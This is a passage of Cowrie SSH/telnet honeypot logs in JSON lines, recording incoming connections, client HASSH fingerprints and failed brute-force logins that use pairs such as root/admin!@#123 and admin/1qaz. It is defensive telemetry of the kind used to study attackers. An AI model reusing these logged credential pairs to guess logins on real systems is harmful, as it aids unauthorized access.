dsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:57.282753Z","src_ip":"217.154.192.185","session":"10f44a0fcb18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"111111","message":"login attempt [sftp/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:57.710675Z","src_ip":"217.154.192.185","session":"10f44a0fcb18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:06:58.807730Z","src_ip":"217.154.192.185","session":"10f44a0fcb18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.14.25.4","src_port":57214,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cfa5b84c238","protocol":"telnet","message":"New connection: 85.14.25.4:57214 (159.203.135.109:23) [session: 3cfa5b84c238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:05.559405Z"}
{"eventid":"cowrie.session.closed","duration":0.005420207977294922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:05.564684Z","src_ip":"85.14.25.4","session":"3cfa5b84c238","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06735610961914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:14.530350Z","src_ip":"85.14.25.4","session":"e20c590f1230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959057569503784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:16.585512Z","src_ip":"85.14.25.4","session":"ba19ee916245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38786,"dst_ip":"159.203.135.109","dst_port":22,"session":"efd181756007","protocol":"ssh","message":"New connection: 159.203.92.129:38786 (159.203.135.109:22) [session: efd181756007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:35.182671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:35.188989Z","src_ip":"159.203.92.129","session":"efd181756007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:35.194000Z","src_ip":"159.203.92.129","session":"efd181756007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akim","password":"123456","message":"login attempt [akim/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:35.207381Z","src_ip":"159.203.92.129","session":"efd181756007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:36.216961Z","src_ip":"159.203.92.129","session":"efd181756007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":44424,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b58cead376d","protocol":"ssh","message":"New connection: 91.134.240.52:44424 (159.203.135.109:22) [session: 2b58cead376d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:43.167186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:43.178084Z","src_ip":"91.134.240.52","session":"2b58cead376d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:43.251400Z","src_ip":"91.134.240.52","session":"2b58cead376d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz","message":"login attempt [admin/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:43.552260Z","src_ip":"91.134.240.52","session":"2b58cead376d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:44.635139Z","src_ip":"91.134.240.52","session":"2b58cead376d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":55088,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a77faef6737","protocol":"ssh","message":"New connection: 217.154.192.185:55088 (159.203.135.109:22) [session: 9a77faef6737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:49.446285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:49.450555Z","src_ip":"217.154.192.185","session":"9a77faef6737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:49.549550Z","src_ip":"217.154.192.185","session":"9a77faef6737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123..","message":"login attempt [ubuntu/qwe123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:49.982569Z","src_ip":"217.154.192.185","session":"9a77faef6737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:07:51.085147Z","src_ip":"217.154.192.185","session":"9a77faef6737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47782,"dst_ip":"159.203.135.109","dst_port":22,"session":"82ff2cde8c1b","protocol":"ssh","message":"New connection: 159.203.92.129:47782 (159.203.135.109:22) [session: 82ff2cde8c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:15.407292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:15.411889Z","src_ip":"159.203.92.129","session":"82ff2cde8c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:15.417019Z","src_ip":"159.203.92.129","session":"82ff2cde8c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akim","password":"akim","message":"login attempt [akim/akim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:15.429796Z","src_ip":"159.203.92.129","session":"82ff2cde8c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":33438,"dst_ip":"10.17.0.5","dst_port":23,"session":"483c5c4c66d5","protocol":"telnet","message":"New connection: 5.61.90.139:33438 (10.17.0.5:23) [session: 483c5c4c66d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:15.936138Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:16.447517Z","src_ip":"159.203.92.129","session":"82ff2cde8c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":53838,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e7d5c2ec9ba","protocol":"ssh","message":"New connection: 68.183.236.1:53838 (159.203.135.109:22) [session: 6e7d5c2ec9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:16.455236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:16.459398Z","src_ip":"68.183.236.1","session":"6e7d5c2ec9ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:16.695836Z","src_ip":"68.183.236.1","session":"6e7d5c2ec9ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":33440,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ad231287fb7","protocol":"telnet","message":"New connection: 5.61.90.139:33440 (10.17.0.5:23) [session: 0ad231287fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:17.079126Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"admin1234","message":"login attempt [test/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:17.675541Z","src_ip":"68.183.236.1","session":"6e7d5c2ec9ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":33442,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ab3f2908d75","protocol":"telnet","message":"New connection: 5.61.90.139:33442 (10.17.0.5:23) [session: 0ab3f2908d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:17.819879Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:18.917352Z","src_ip":"68.183.236.1","session":"6e7d5c2ec9ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":33458,"dst_ip":"10.17.0.5","dst_port":23,"session":"11e052a3464b","protocol":"telnet","message":"New connection: 5.61.90.139:33458 (10.17.0.5:23) [session: 11e052a3464b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:20.419633Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":46590,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e9ab74e4363","protocol":"ssh","message":"New connection: 217.154.192.185:46590 (159.203.135.109:22) [session: 3e9ab74e4363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:40.068432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:40.073085Z","src_ip":"217.154.192.185","session":"3e9ab74e4363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:40.165558Z","src_ip":"217.154.192.185","session":"3e9ab74e4363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#123","message":"login attempt [root/admin!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:40.607151Z","src_ip":"217.154.192.185","session":"3e9ab74e4363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:41.706901Z","src_ip":"217.154.192.185","session":"3e9ab74e4363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35688,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0d03aeace91","protocol":"ssh","message":"New connection: 159.203.92.129:35688 (159.203.135.109:22) [session: d0d03aeace91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:56.072381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:56.076802Z","src_ip":"159.203.92.129","session":"d0d03aeace91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-s